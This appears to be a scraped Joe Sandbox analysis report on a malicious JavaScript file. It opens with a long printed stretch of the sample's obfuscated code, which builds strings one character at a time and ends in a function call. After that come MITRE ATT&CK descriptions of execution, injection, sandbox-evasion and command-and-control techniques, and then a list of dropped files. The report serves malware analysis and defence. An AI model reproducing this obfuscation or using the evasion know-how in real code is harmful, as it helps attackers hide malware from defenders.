1197	fqohnjln = "B";
1198	fqohnjln = "O";
1199	fqohnjln = "\\";
1200	jbzvuv = "p";
1201	jbzvuv = "G";
1202	jbzvuv = "R";
1203	jbzvuv = "a";
1204	jbzvuv = "R";
1205	jbzvuv = "H";
1206	jbzvuv = "i";
1207	jbzvuv = "J";
1208	jbzvuv = "f";
1209	jbzvuv = "G";
1210	jbzvuv = "d";
1211	jbzvuv = "H";
1212	jbzvuv = "q";
1213	jbzvuv = "w";
1214	jbzvuv = "q";
1215	jbzvuv = "s";
1216	jbzvuv = "R";
1217	jbzvuv = "H";
1218	jbzvuv = "F";
1219	jbzvuv = "I";
1220	jbzvuv = "x";
1221	pbvns = "d";
1222	pbvns = "Q";
1223	pbvns = "Y";
1224	pbvns = "a";
1225	pbvns = "W";
1226	pbvns = "m";
1227	pbvns = "y";
1228	pbvns = "I";
1229	pbvns = "V";
1230	pbvns = "a";
1231	pbvns = "i";
1232	pbvns = "f";
1233	pbvns = "k";
1234	pbvns = "J";
1235	pbvns = "S";
1236	pbvns = "K";
1237	pbvns = "w";
1238	pbvns = "P";
1239	pbvns = "l";
1240	pbvns = "E";
1241	pbvns = "J";
1242	pbvns = "N";
1243	pbvns = "v";
1244	pbvns = "L";
1245	pbvns = "J";
1246	pbvns = "y";
1247	pbvns = "w";
1248	pbvns = "u";
1249	pbvns = "I";
1250	pbvns = "B";
1251	pbvns = "v";
1252	pbvns = "j";
1253	pbvns = "G";
1254	pbvns = "l";
1255	pbvns = "F";
1256	pbvns = "H";
1257	pbvns = "M";
1258	pbvns = "c";
1259	pbvns = "m";
1260	pbvns = "O";
1261	pbvns = "b";
1262	pbvns = "M";
1263	pbvns = "4";
1264	btsajm = "m";
1265	btsajm = "M";
1266	btsajm = "U";
1267	btsajm = "j";
1268	btsajm = "e";
1269	btsajm = "U";
1270	btsajm = "H";
1271	btsajm = "S";
1272	ovbfe = "z";
1273	ovbfe = "n";
1274	ovbfe = "L";
1275	ovbfe = "s";
1276	ovbfe = "e";
1277	ovbfe = "U";
1278	ovbfe = "n";
1279	ovbfe = "z";
1280	ovbfe = "H";
1281	ovbfe = "O";
1282	ovbfe = "z";
1283	ovbfe = "Q";
1284	ovbfe = "i";
1285	ovbfe = "K";
1286	ovbfe = "x";
1287	ovbfe = "T";
1288	ovbfe = "C";
1289	ovbfe = "t";
1290	ovbfe = "j";
1291	ovbfe = "t";
1292	ovbfe = "b";
1293	ovbfe = "U";
1294	ovbfe = "k";
1295	ovbfe = "n";
1296	ovbfe = "s";
1297	ovbfe = "I";
1298	ovbfe = "y";
1299	ovbfe = "o";
1300	ovbfe = "o";
1301	ovbfe = "F";
1302	ovbfe = "o";
1303	ovbfe = "b";
1304	ovbfe = "R";
1305	ovbfe = "H";
1306	ovbfe = "E";
1307	ovbfe = "f";
1308	ovbfe = "E";
1309	ovbfe = "w";
1310	ovbfe = "/";
1311	fedynti = "V";
1312	fedynti = "h";
1313	fedynti = ".";
1314	vstaqzkd = "b";
1315	vstaqzkd = "J";
1316	vstaqzkd = "H";
1317	vstaqzkd = "G";
1318	vstaqzkd = "A";
1319	vstaqzkd = "g";
1320	vstaqzkd = "t";
1321	vstaqzkd = "C";
1322	vstaqzkd = "S";
1323	vstaqzkd = "o";
1324	vstaqzkd = "X";
1325	vstaqzkd = "k";
1326	vstaqzkd = "O";
1327	vstaqzkd = "c";
1328	vstaqzkd = "M";
1329	vstaqzkd = "U";
1330	vstaqzkd = "i";
1331	vstaqzkd = "W";
1332	vstaqzkd = "S";
1333	vstaqzkd = "w";
1334	vstaqzkd = "y";
1335	vstaqzkd = "B";
1336	vstaqzkd = "E";
1337	vstaqzkd = "I";
1338	vstaqzkd = "F";
1339	vstaqzkd = "L";
1340	vstaqzkd = "J";
1341	vstaqzkd = "v";
1342	vstaqzkd = "E";
1343	vstaqzkd = "g";
1344	vstaqzkd = "V";
1345	vstaqzkd = "z";
1346	vstaqzkd = "m";
1347	vstaqzkd = "Q";
1348	vstaqzkd = "z";
1349	vstaqzkd = "s";
1350	vstaqzkd = "i";
1351	vstaqzkd = "x";
1352	vstaqzkd = "p";
1353	vstaqzkd = "e";
1354	vstaqzkd = "q";
1355	vstaqzkd = "A";
1356	vstaqzkd = "t";
1357	vstaqzkd = "T";
1358	aidveldmk ( );	aidveldmk() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2624560062728623951.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8993f316-041d-4875-abd0-08d4a6d45864.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6ce522.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c6e29482-0fad-4518-8d18-9b84ee1a757e.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
2624560062728623951.js